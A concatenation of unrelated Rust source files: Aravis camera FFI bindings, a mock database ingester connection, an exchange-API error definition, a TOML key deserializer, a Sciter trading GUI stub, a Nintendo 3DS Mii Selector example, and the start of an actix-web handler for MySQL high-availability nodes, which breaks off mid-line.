self_: *mut ArvGcPropertyNode,
default_value: c_uint,
) -> c_uint;
pub fn arv_gc_property_node_get_msb(
self_: *mut ArvGcPropertyNode,
default_value: c_uint,
) -> c_uint;
pub fn arv_gc_property_node_get_name(node: *mut ArvGcPropertyNode) -> *const c_char;
pub fn arv_gc_property_node_get_node_type(
node: *mut ArvGcPropertyNode,
) -> ArvGcPropertyNodeType;
pub fn arv_gc_property_node_get_representation(
self_: *mut ArvGcPropertyNode,
default_value: ArvGcRepresentation,
) -> ArvGcRepresentation;
pub fn arv_gc_property_node_get_sign(
self_: *mut ArvGcPropertyNode,
default_value: ArvGcSignedness,
) -> ArvGcSignedness;
#[cfg(any(feature = "v0_8_8", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_8")))]
pub fn arv_gc_property_node_get_streamable(
self_: *mut ArvGcPropertyNode,
default_value: ArvGcStreamable,
) -> ArvGcStreamable;
pub fn arv_gc_property_node_get_string(
node: *mut ArvGcPropertyNode,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_gc_property_node_get_visibility(
self_: *mut ArvGcPropertyNode,
default_value: ArvGcVisibility,
) -> ArvGcVisibility;
pub fn arv_gc_property_node_set_double(
node: *mut ArvGcPropertyNode,
v_double: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_gc_property_node_set_int64(
node: *mut ArvGcPropertyNode,
v_int64: i64,
error: *mut *mut glib::GError,
);
pub fn arv_gc_property_node_set_string(
node: *mut ArvGcPropertyNode,
string: *const c_char,
error: *mut *mut glib::GError,
);
//=========================================================================
// ArvGcRegisterDescriptionNode
//=========================================================================
pub fn arv_gc_register_description_node_get_type() -> GType;
pub fn arv_gc_register_description_node_new() -> *mut ArvGcNode;
pub fn arv_gc_register_description_node_check_schema_version(
node: *mut ArvGcRegisterDescriptionNode,
required_major: c_uint,
required_minor: c_uint,
required_subminor: c_uint,
) -> gboolean;
pub fn arv_gc_register_description_node_compare_schema_version(
node: *mut ArvGcRegisterDescriptionNode,
major: c_uint,
minor: c_uint,
subminor: c_uint,
) -> c_int;
pub fn arv_gc_register_description_node_get_major_version(
node: *mut ArvGcRegisterDescriptionNode,
) -> c_uint;
pub fn arv_gc_register_description_node_get_minor_version(
node: *mut ArvGcRegisterDescriptionNode,
) -> c_uint;
pub fn arv_gc_register_description_node_get_model_name(
node: *mut ArvGcRegisterDescriptionNode,
) -> *mut c_char;
pub fn arv_gc_register_description_node_get_schema_major_version(
node: *mut ArvGcRegisterDescriptionNode,
) -> c_uint;
pub fn arv_gc_register_description_node_get_schema_minor_version(
node: *mut ArvGcRegisterDescriptionNode,
) -> c_uint;
pub fn arv_gc_register_description_node_get_schema_subminor_version(
node: *mut ArvGcRegisterDescriptionNode,
) -> c_uint;
pub fn arv_gc_register_description_node_get_subminor_version(
node: *mut ArvGcRegisterDescriptionNode,
) -> c_uint;
pub fn arv_gc_register_description_node_get_vendor_name(
node: *mut ArvGcRegisterDescriptionNode,
) -> *mut c_char;
//=========================================================================
// ArvGcRegisterNode
//=========================================================================
pub fn arv_gc_register_node_get_type() -> GType;
pub fn arv_gc_register_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcStringNode
//=========================================================================
pub fn arv_gc_string_node_get_type() -> GType;
pub fn arv_gc_string_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcStringRegNode
//=========================================================================
pub fn arv_gc_string_reg_node_get_type() -> GType;
pub fn arv_gc_string_reg_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcStructEntryNode
//=========================================================================
pub fn arv_gc_struct_entry_node_get_type() -> GType;
pub fn arv_gc_struct_entry_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcStructRegNode
//=========================================================================
pub fn arv_gc_struct_reg_node_get_type() -> GType;
pub fn arv_gc_struct_reg_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcSwissKnife
//=========================================================================
pub fn arv_gc_swiss_knife_get_type() -> GType;
//=========================================================================
// ArvGcSwissKnifeNode
//=========================================================================
pub fn arv_gc_swiss_knife_node_get_type() -> GType;
pub fn arv_gc_swiss_knife_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcValueIndexedNode
//=========================================================================
pub fn arv_gc_value_indexed_node_get_type() -> GType;
pub fn arv_gc_value_indexed_node_new() -> *mut ArvGcNode;
pub fn arv_gc_value_indexed_node_get_index(
value_indexed_node: *mut ArvGcValueIndexedNode,
) -> i64;
//=========================================================================
// ArvGvDevice
//=========================================================================
pub fn arv_gv_device_get_type() -> GType;
pub fn arv_gv_device_new(
interface_address: *mut gio::GInetAddress,
device_address: *mut gio::GInetAddress,
error: *mut *mut glib::GError,
) -> *mut ArvDevice;
pub fn arv_gv_device_auto_packet_size(
gv_device: *mut ArvGvDevice,
error: *mut *mut glib::GError,
) -> c_uint;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_gv_device_get_current_ip(
gv_device: *mut ArvGvDevice,
ip: *mut *mut gio::GInetAddress,
mask: *mut *mut gio::GInetAddressMask,
gateway: *mut *mut gio::GInetAddress,
error: *mut *mut glib::GError,
);
pub fn arv_gv_device_get_device_address(device: *mut ArvGvDevice) -> *mut gio::GSocketAddress;
pub fn arv_gv_device_get_interface_address(
device: *mut ArvGvDevice,
) -> *mut gio::GSocketAddress;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_gv_device_get_ip_configuration_mode(
gv_device: *mut ArvGvDevice,
error: *mut *mut glib::GError,
) -> ArvGvIpConfigurationMode;
pub fn arv_gv_device_get_packet_size(
gv_device: *mut ArvGvDevice,
error: *mut *mut glib::GError,
) -> c_uint;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_gv_device_get_persistent_ip(
gv_device: *mut ArvGvDevice,
ip: *mut *mut gio::GInetAddress,
mask: *mut *mut gio::GInetAddressMask,
gateway: *mut *mut gio::GInetAddress,
error: *mut *mut glib::GError,
);
pub fn arv_gv_device_get_stream_options(gv_device: *mut ArvGvDevice) -> ArvGvStreamOption;
pub fn arv_gv_device_get_timestamp_tick_frequency(
gv_device: *mut ArvGvDevice,
error: *mut *mut glib::GError,
) -> u64;
pub fn arv_gv_device_is_controller(gv_device: *mut ArvGvDevice) -> gboolean;
#[cfg(any(feature = "v0_8_3", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_3")))]
pub fn arv_gv_device_leave_control(
gv_device: *mut ArvGvDevice,
error: *mut *mut glib::GError,
) -> gboolean;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_gv_device_set_ip_configuration_mode(
gv_device: *mut ArvGvDevice,
mode: ArvGvIpConfigurationMode,
error: *mut *mut glib::GError,
);
pub fn arv_gv_device_set_packet_size(
gv_device: *mut ArvGvDevice,
packet_size: c_int,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_3", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_3")))]
pub fn arv_gv_device_set_packet_size_adjustment(
gv_device: *mut ArvGvDevice,
adjustment: ArvGvPacketSizeAdjustment,
);
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_gv_device_set_persistent_ip(
gv_device: *mut ArvGvDevice,
ip: *mut gio::GInetAddress,
mask: *mut gio::GInetAddressMask,
gateway: *mut gio::GInetAddress,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_gv_device_set_persistent_ip_from_string(
gv_device: *mut ArvGvDevice,
ip: *const c_char,
mask: *const c_char,
gateway: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_gv_device_set_stream_options(
gv_device: *mut ArvGvDevice,
options: ArvGvStreamOption,
);
#[cfg(any(feature = "v0_8_3", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_3")))]
pub fn arv_gv_device_take_control(
gv_device: *mut ArvGvDevice,
error: *mut *mut glib::GError,
) -> gboolean;
//=========================================================================
// ArvGvFakeCamera
//=========================================================================
pub fn arv_gv_fake_camera_get_type() -> GType;
pub fn arv_gv_fake_camera_new(
interface_name: *const c_char,
serial_number: *const c_char,
) -> *mut ArvGvFakeCamera;
pub fn arv_gv_fake_camera_new_full(
interface_name: *const c_char,
serial_number: *const c_char,
genicam_filename: *const c_char,
) -> *mut ArvGvFakeCamera;
pub fn arv_gv_fake_camera_get_fake_camera(
gv_fake_camera: *mut ArvGvFakeCamera,
) -> *mut ArvFakeCamera;
pub fn arv_gv_fake_camera_is_running(gv_fake_camera: *mut ArvGvFakeCamera) -> gboolean;
//=========================================================================
// ArvGvInterface
//=========================================================================
pub fn arv_gv_interface_get_type() -> GType;
pub fn arv_gv_interface_get_instance() -> *mut ArvInterface;
//=========================================================================
// ArvGvStream
//=========================================================================
pub fn arv_gv_stream_get_type() -> GType;
pub fn arv_gv_stream_get_port(gv_stream: *mut ArvGvStream) -> u16;
pub fn arv_gv_stream_get_statistics(
gv_stream: *mut ArvGvStream,
n_resent_packets: *mut u64,
n_missing_packets: *mut u64,
);
//=========================================================================
// ArvInterface
//=========================================================================
pub fn arv_interface_get_type() -> GType;
pub fn arv_interface_get_device_address(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
pub fn arv_interface_get_device_id(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
#[cfg(any(feature = "v0_8_20", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_20")))]
pub fn arv_interface_get_device_manufacturer_info(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
pub fn arv_interface_get_device_model(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
pub fn arv_interface_get_device_physical_id(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
pub fn arv_interface_get_device_protocol(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
pub fn arv_interface_get_device_serial_nbr(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
pub fn arv_interface_get_device_vendor(
interface: *mut ArvInterface,
index: c_uint,
) -> *const c_char;
pub fn arv_interface_get_n_devices(interface: *mut ArvInterface) -> c_uint;
pub fn arv_interface_open_device(
interface: *mut ArvInterface,
device_id: *const c_char,
error: *mut *mut glib::GError,
) -> *mut ArvDevice;
pub fn arv_interface_update_device_list(interface: *mut ArvInterface);
//=========================================================================
// ArvStream
//=========================================================================
pub fn arv_stream_get_type() -> GType;
pub fn arv_stream_get_emit_signals(stream: *mut ArvStream) -> gboolean;
#[cfg(any(feature = "v0_8_11", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_11")))]
pub fn arv_stream_get_info_double(stream: *mut ArvStream, id: c_uint) -> c_double;
#[cfg(any(feature = "v0_8_11", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_11")))]
pub fn arv_stream_get_info_double_by_name(
stream: *mut ArvStream,
name: *const c_char,
) -> c_double;
#[cfg(any(feature = "v0_8_11", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_11")))]
pub fn arv_stream_get_info_name(stream: *mut ArvStream, id: c_uint) -> *const c_char;
#[cfg(any(feature = "v0_8_11", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_11")))]
pub fn arv_stream_get_info_type(stream: *mut ArvStream, id: c_uint) -> GType;
#[cfg(any(feature = "v0_8_11", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_11")))]
pub fn arv_stream_get_info_uint64(stream: *mut ArvStream, id: c_uint) -> u64;
#[cfg(any(feature = "v0_8_11", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_11")))]
pub fn arv_stream_get_info_uint64_by_name(stream: *mut ArvStream, name: *const c_char) -> u64;
pub fn arv_stream_get_n_buffers(
stream: *mut ArvStream,
n_input_buffers: *mut c_int,
n_output_buffers: *mut c_int,
);
#[cfg(any(feature = "v0_8_11", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_11")))]
pub fn arv_stream_get_n_infos(stream: *mut ArvStream) -> c_uint;
pub fn arv_stream_get_statistics(
stream: *mut ArvStream,
n_completed_buffers: *mut u64,
n_failures: *mut u64,
n_underruns: *mut u64,
);
pub fn arv_stream_pop_buffer(stream: *mut ArvStream) -> *mut ArvBuffer;
pub fn arv_stream_push_buffer(stream: *mut ArvStream, buffer: *mut ArvBuffer);
pub fn arv_stream_set_emit_signals(stream: *mut ArvStream, emit_signals: gboolean);
pub fn arv_stream_start_thread(stream: *mut ArvStream);
pub fn arv_stream_stop_thread(stream: *mut ArvStream, delete_buffers: gboolean) -> c_uint;
pub fn arv_stream_timeout_pop_buffer(stream: *mut ArvStream, timeout: u64) -> *mut ArvBuffer;
pub fn arv_stream_try_pop_buffer(stream: *mut ArvStream) -> *mut ArvBuffer;
//=========================================================================
// ArvUvDevice
//=========================================================================
pub fn arv_uv_device_get_type() -> GType;
pub fn arv_uv_device_new(
vendor: *const c_char,
product: *const c_char,
serial_number: *const c_char,
error: *mut *mut glib::GError,
) -> *mut ArvDevice;
#[cfg(any(feature = "v0_8_17", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_17")))]
pub fn arv_uv_device_new_from_guid(
guid: *const c_char,
error: *mut *mut glib::GError,
) -> *mut ArvDevice;
#[cfg(any(feature = "v0_8_17", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_17")))]
pub fn arv_uv_device_set_usb_mode(uv_device: *mut ArvUvDevice, usb_mode: ArvUvUsbMode);
//=========================================================================
// ArvUvInterface
//=========================================================================
pub fn arv_uv_interface_get_type() -> GType;
pub fn arv_uv_interface_get_instance() -> *mut ArvInterface;
//=========================================================================
// ArvUvStream
//=========================================================================
pub fn arv_uv_stream_get_type() -> GType;
//=========================================================================
// ArvXmlSchema
//=========================================================================
pub fn arv_xml_schema_get_type() -> GType;
pub fn arv_xml_schema_new_from_file(file: *mut gio::GFile) -> *mut ArvXmlSchema;
pub fn arv_xml_schema_new_from_memory(buffer: *const c_char, size: size_t)
-> *mut ArvXmlSchema;
pub fn arv_xml_schema_new_from_path(path: *const c_char) -> *mut ArvXmlSchema;
pub fn arv_xml_schema_validate(
schema: *mut ArvXmlSchema,
xml: *mut c_void,
size: size_t,
line: *mut c_int,
column: *mut c_int,
error: *mut *mut glib::GError,
) -> gboolean;
//=========================================================================
// ArvGcFloat
//=========================================================================
pub fn arv_gc_float_get_type() -> GType;
pub fn arv_gc_float_get_display_notation(gc_float: *mut ArvGcFloat) -> ArvGcDisplayNotation;
pub fn arv_gc_float_get_display_precision(gc_float: *mut ArvGcFloat) -> i64;
pub fn arv_gc_float_get_inc(
gc_float: *mut ArvGcFloat,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_gc_float_get_max(
gc_float: *mut ArvGcFloat,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_gc_float_get_min(
gc_float: *mut ArvGcFloat,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_gc_float_get_representation(gc_float: *mut ArvGcFloat) -> ArvGcRepresentation;
pub fn arv_gc_float_get_unit(gc_float: *mut ArvGcFloat) -> *const c_char;
pub fn arv_gc_float_get_value(
gc_float: *mut ArvGcFloat,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_gc_float_impose_max(
gc_float: *mut ArvGcFloat,
maximum: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_gc_float_impose_min(
gc_float: *mut ArvGcFloat,
minimum: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_gc_float_set_value(
gc_float: *mut ArvGcFloat,
value: c_double,
error: *mut *mut glib::GError,
);
//=========================================================================
// ArvGcInteger
//=========================================================================
pub fn arv_gc_integer_get_type() -> GType;
pub fn arv_gc_integer_get_inc(
gc_integer: *mut ArvGcInteger,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_gc_integer_get_max(
gc_integer: *mut ArvGcInteger,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_gc_integer_get_min(
gc_integer: *mut ArvGcInteger,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_gc_integer_get_representation(gc_integer: *mut ArvGcInteger) -> ArvGcRepresentation;
pub fn arv_gc_integer_get_unit(gc_integer: *mut ArvGcInteger) -> *const c_char;
pub fn arv_gc_integer_get_value(
gc_integer: *mut ArvGcInteger,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_gc_integer_impose_max(
gc_integer: *mut ArvGcInteger,
maximum: i64,
error: *mut *mut glib::GError,
);
pub fn arv_gc_integer_impose_min(
gc_integer: *mut ArvGcInteger,
minimum: i64,
error: *mut *mut glib::GError,
);
pub fn arv_gc_integer_set_value(
gc_integer: *mut ArvGcInteger,
value: i64,
error: *mut *mut glib::GError,
);
//=========================================================================
// ArvGcRegister
//=========================================================================
pub fn arv_gc_register_get_type() -> GType;
pub fn arv_gc_register_get(
gc_register: *mut ArvGcRegister,
buffer: *mut c_void,
length: u64,
error: *mut *mut glib::GError,
);
pub fn arv_gc_register_get_address(
gc_register: *mut ArvGcRegister,
error: *mut *mut glib::GError,
) -> u64;
pub fn arv_gc_register_get_length(
gc_register: *mut ArvGcRegister,
error: *mut *mut glib::GError,
) -> u64;
pub fn arv_gc_register_set(
gc_register: *mut ArvGcRegister,
buffer: *mut c_void,
length: u64,
error: *mut *mut glib::GError,
);
//=========================================================================
// ArvGcSelector
//=========================================================================
pub fn arv_gc_selector_get_type() -> GType;
pub fn arv_gc_selector_get_selected_features(
gc_selector: *mut ArvGcSelector,
) -> *const glib::GSList;
pub fn arv_gc_selector_is_selector(gc_selector: *mut ArvGcSelector) -> gboolean;
//=========================================================================
// ArvGcString
//=========================================================================
pub fn arv_gc_string_get_type() -> GType;
pub fn arv_gc_string_get_max_length(
gc_string: *mut ArvGcString,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_gc_string_get_value(
gc_string: *mut ArvGcString,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_gc_string_set_value(
gc_string: *mut ArvGcString,
value: *const c_char,
error: *mut *mut glib::GError,
);
//=========================================================================
// Other functions
//=========================================================================
pub fn arv_debug_enable(category_selection: *const c_char) -> gboolean;
pub fn arv_disable_interface(interface_id: *const c_char);
pub fn arv_dom_implementation_add_document_type(
qualified_name: *const c_char,
document_type: GType,
);
pub fn arv_dom_implementation_cleanup();
pub fn arv_dom_implementation_create_document(
namespace_uri: *const c_char,
qualified_name: *const c_char,
) -> *mut ArvDomDocument;
pub fn arv_enable_interface(interface_id: *const c_char);
pub fn arv_get_device_address(index: c_uint) -> *const c_char;
pub fn arv_get_device_id(index: c_uint) -> *const c_char;
#[cfg(any(feature = "v0_8_20", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_20")))]
pub fn arv_get_device_manufacturer_info(index: c_uint) -> *const c_char;
pub fn arv_get_device_model(index: c_uint) -> *const c_char;
pub fn arv_get_device_physical_id(index: c_uint) -> *const c_char;
pub fn arv_get_device_protocol(index: c_uint) -> *const c_char;
pub fn arv_get_device_serial_nbr(index: c_uint) -> *const c_char;
pub fn arv_get_device_vendor(index: c_uint) -> *const c_char;
pub fn arv_get_interface_id(index: c_uint) -> *const c_char;
pub fn arv_get_n_devices() -> c_uint;
pub fn arv_get_n_interfaces() -> c_uint;
pub fn arv_make_thread_high_priority(nice_level: c_int) -> gboolean;
pub fn arv_make_thread_realtime(priority: c_int) -> gboolean;
pub fn arv_open_device(
device_id: *const c_char,
error: *mut *mut glib::GError,
) -> *mut ArvDevice;
pub fn arv_set_fake_camera_genicam_filename(filename: *const c_char);
pub fn arv_shutdown();
pub fn arv_update_device_list();
}
|
use super::IngesterConnection;
use crate::cache::namespace::CachedTable;
use async_trait::async_trait;
use data_types::NamespaceId;
use datafusion::prelude::Expr;
use parking_lot::Mutex;
use schema::Schema as IOxSchema;
use std::{any::Any, collections::HashSet, sync::Arc};
use trace::span::Span;
/// IngesterConnection for testing
#[derive(Debug, Default)]
pub struct MockIngesterConnection {
next_response: Mutex<Option<super::Result<Vec<super::IngesterPartition>>>>,
}
impl MockIngesterConnection {
/// Create connection w/ an empty response.
pub fn new() -> Self {
Self::default()
}
/// Set next response for this connection.
#[cfg(test)]
pub fn next_response(&self, response: super::Result<Vec<super::IngesterPartition>>) {
*self.next_response.lock() = Some(response);
}
}
#[async_trait]
impl IngesterConnection for MockIngesterConnection {
async fn partitions(
&self,
_namespace_id: NamespaceId,
_cached_table: Arc<CachedTable>,
columns: Vec<String>,
_filters: &[Expr],
_span: Option<Span>,
) -> super::Result<Vec<super::IngesterPartition>> {
let Some(partitions) = self.next_response.lock().take() else {
return Ok(vec![]);
};
let partitions = partitions?;
let cols = columns.into_iter().collect::<HashSet<_>>();
// do pruning
let cols = &cols;
let partitions = partitions
.into_iter()
.map(|mut p| async move {
let chunks = p
.chunks
.into_iter()
.map(|ic| async move {
// restrict selection to available columns
let schema = &ic.schema;
let projection = schema
.as_arrow()
.fields()
.iter()
.enumerate()
.filter(|(_idx, f)| cols.contains(f.name()))
.map(|(idx, _f)| idx)
.collect::<Vec<_>>();
let batches: Vec<_> = ic
.batches
.iter()
.map(|batch| batch.project(&projection).unwrap())
.collect();
assert!(!batches.is_empty(), "Error: empty batches");
let schema = IOxSchema::try_from(batches[0].schema()).unwrap();
super::IngesterChunk {
batches,
schema,
..ic
}
})
.collect::<Vec<_>>();
p.chunks = futures::future::join_all(chunks).await;
p
})
.collect::<Vec<_>>();
let partitions = futures::future::join_all(partitions).await;
Ok(partitions)
}
fn as_any(&self) -> &dyn Any {
self as &dyn Any
}
}
|
use serde::Deserialize;
#[derive(Debug, Deserialize)]
pub struct BonfidaContentError {
pub success: bool,
pub data: String,
}
error_chain! {
errors {
BonfidaError(response: BonfidaContentError)
}
foreign_links {
ReqError(reqwest::Error);
InvalidHeaderError(reqwest::header::InvalidHeaderValue);
IoError(std::io::Error);
ParseFloatError(std::num::ParseFloatError);
UrlParserError(url::ParseError);
Json(serde_json::Error);
Tungstenite(tungstenite::Error);
TimestampError(std::time::SystemTimeError);
}
}
|
use serde::de::IntoDeserializer;
use super::Error;
pub(crate) struct KeyDeserializer {
span: Option<std::ops::Range<usize>>,
key: crate::InternalString,
}
impl KeyDeserializer {
pub(crate) fn new(key: crate::InternalString, span: Option<std::ops::Range<usize>>) -> Self {
KeyDeserializer { span, key }
}
}
impl<'de> serde::de::IntoDeserializer<'de, Error> for KeyDeserializer {
type Deserializer = Self;
fn into_deserializer(self) -> Self::Deserializer {
self
}
}
impl<'de> serde::de::Deserializer<'de> for KeyDeserializer {
type Error = Error;
fn deserialize_any<V>(self, visitor: V) -> Result<V::Value, Error>
where
V: serde::de::Visitor<'de>,
{
self.key.into_deserializer().deserialize_any(visitor)
}
fn deserialize_enum<V>(
self,
name: &str,
variants: &'static [&'static str],
visitor: V,
) -> Result<V::Value, Self::Error>
where
V: serde::de::Visitor<'de>,
{
let _ = name;
let _ = variants;
visitor.visit_enum(self)
}
fn deserialize_struct<V>(
self,
name: &'static str,
fields: &'static [&'static str],
visitor: V,
) -> Result<V::Value, Error>
where
V: serde::de::Visitor<'de>,
{
if serde_spanned::__unstable::is_spanned(name, fields) {
if let Some(span) = self.span.clone() {
return visitor.visit_map(super::SpannedDeserializer::new(self.key.as_str(), span));
}
}
self.deserialize_any(visitor)
}
serde::forward_to_deserialize_any! {
bool u8 u16 u32 u64 i8 i16 i32 i64 f32 f64 char str string seq
bytes byte_buf map option unit newtype_struct
ignored_any unit_struct tuple_struct tuple identifier
}
}
impl<'de> serde::de::EnumAccess<'de> for KeyDeserializer {
type Error = super::Error;
type Variant = UnitOnly<Self::Error>;
fn variant_seed<T>(self, seed: T) -> Result<(T::Value, Self::Variant), Self::Error>
where
T: serde::de::DeserializeSeed<'de>,
{
seed.deserialize(self).map(unit_only)
}
}
pub(crate) struct UnitOnly<E> {
marker: std::marker::PhantomData<E>,
}
fn unit_only<T, E>(t: T) -> (T, UnitOnly<E>) {
(
t,
UnitOnly {
marker: std::marker::PhantomData,
},
)
}
impl<'de, E> serde::de::VariantAccess<'de> for UnitOnly<E>
where
E: serde::de::Error,
{
type Error = E;
fn unit_variant(self) -> Result<(), Self::Error> {
Ok(())
}
fn newtype_variant_seed<T>(self, _seed: T) -> Result<T::Value, Self::Error>
where
T: serde::de::DeserializeSeed<'de>,
{
Err(serde::de::Error::invalid_type(
serde::de::Unexpected::UnitVariant,
&"newtype variant",
))
}
fn tuple_variant<V>(self, _len: usize, _visitor: V) -> Result<V::Value, Self::Error>
where
V: serde::de::Visitor<'de>,
{
Err(serde::de::Error::invalid_type(
serde::de::Unexpected::UnitVariant,
&"tuple variant",
))
}
fn struct_variant<V>(
self,
_fields: &'static [&'static str],
_visitor: V,
) -> Result<V::Value, Self::Error>
where
V: serde::de::Visitor<'de>,
{
Err(serde::de::Error::invalid_type(
serde::de::Unexpected::UnitVariant,
&"struct variant",
))
}
}
|
extern crate sciter;
extern crate futures;
extern crate hyper;
extern crate hyper_tls;
extern crate tokio_core;
use sciter::Element;
use self::sciter::dom::event::*;
use self::sciter::dom::HELEMENT;
mod net_client;
mod ex_api;
mod trading;
use ex_api::Api;
use ex_api::ApiCall;
use ex_api::exchanges;
struct FireEvent;
impl sciter::EventHandler for FireEvent {
fn on_event(&mut self, _root: HELEMENT, source: HELEMENT, _target: HELEMENT, code: BEHAVIOR_EVENTS, phase: PHASE_MASK, _reason: EventReason) -> bool {
if phase != PHASE_MASK::BUBBLING {
return false;
}
if code == BEHAVIOR_EVENTS::BUTTON_CLICK {
let source = Element::from(source);
if let Some(id) = source.get_attribute("id") {
if id == "play" {
println!("play 버튼 클릭");
call_start_trading();
return true;
} else if id == "stop" {
println!("stop 버튼 클릭");
return true;
}
};
};
false
}
}
fn call_start_trading() {
let mut tm = trading::TradingMachine::new();
tm.start_trading("BTC");
}
fn main() {
let html = include_bytes!("gui/ui.htm");
let mut frame = sciter::Window::with_size((1016, 638), sciter::window::SCITER_CREATE_WINDOW_FLAGS::SW_MAIN);
frame.event_handler(FireEvent);
frame.load_html(html, None);
frame.run_app();
} |
//! Mii Selector example.
//!
//! This example showcases the use of the MiiSelector applet to obtain Mii data from the user's input.
use ctru::applets::mii_selector::{Error, MiiSelector, Options};
use ctru::prelude::*;
fn main() {
ctru::use_panic_handler();
let gfx = Gfx::new().expect("Couldn't obtain GFX controller");
let mut hid = Hid::new().expect("Couldn't obtain HID controller");
let apt = Apt::new().expect("Couldn't obtain APT controller");
let _console = Console::new(gfx.top_screen.borrow_mut());
// Setup the Mii Selector configuration.
let mut mii_selector = MiiSelector::new();
// The Mii Selector window can be closed without selecting a Mii.
mii_selector.set_options(Options::ENABLE_CANCEL);
mii_selector.set_initial_index(3);
// The first user-made Mii cannot be used.
mii_selector.blacklist_user_mii(0.into());
mii_selector.set_title("Great Mii Selector!");
// Launch the Mii Selector and use its result to print the selected Mii's information.
match mii_selector.launch() {
Ok(result) => {
println!("Mii type: {:?}", result.mii_type);
println!("Name: {:?}", result.mii_data.name);
println!("Author: {:?}", result.mii_data.author_name);
println!(
"Does the Mii have moles?: {:?}",
result.mii_data.mole_details.is_enabled
);
}
Err(Error::InvalidChecksum) => println!("Corrupt Mii selected"),
Err(Error::NoMiiSelected) => println!("No Mii selected"),
}
println!("\x1b[29;16HPress Start to exit");
while apt.main_loop() {
hid.scan_input();
if hid.keys_down().contains(KeyPad::START) {
break;
}
gfx.wait_for_vblank();
}
}
|
/*
@author: xiao cai niao
@datetime: 2019/11/5
*/
use actix_web::{web, HttpResponse};
use actix_session::{ Session};
use serde::{Deserialize, Serialize};
use crate::storage;
use crate::storage::rocks::{DbInfo, KeyValue, CfNameTypeCode, PrefixTypeCode};
use crate::ha::procotol::{MysqlState, CommandSql, MyProtocol};
use std::error::Error;
use crate::ha::nodes_manager::{SwitchForNodes, DifferenceSql, SqlRelation};
use crate::storage::opdb::{HaChangeLog, UserInfo, HostInfoValue};
use crate::ha::route_manager::RouteInfo;
use crate::webroute::response::{response_state, response_value, ResponseState};
use crate::webroute::new_route::PostCluster;
use crate::ha::sys_manager::MonitorSetting;
#[derive(Serialize, Deserialize, Debug)]
pub struct HostInfo {
pub host: String, //127.0.0.1:3306
pub rtype: String, //db、route
pub dbport: usize, //default 3306
pub cluster_name: String //集群名称
}
/// extract `import host info` using serde
pub fn import_mysql_info(data: web::Data<DbInfo>, info: web::Json<HostInfo>) -> HttpResponse {
let state = storage::opdb::insert_mysql_host_info(data, &info);
return response_state(state);
}
#[derive(Serialize, Deserialize)]
pub struct EditInfo {
pub cluster_name: String,
pub host: String,
pub dbport: usize,
pub role: String,
pub online: bool,
}
pub fn edit_nodes(data: web::Data<DbInfo>, info: web::Json<EditInfo>) -> HttpResponse {
let cf_name = String::from("Ha_nodes_info");
let key = &info.host;
let cur_value = data.get(key, &cf_name);
match cur_value {
Ok(v) => {
let mut db_value: HostInfoValue = serde_json::from |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.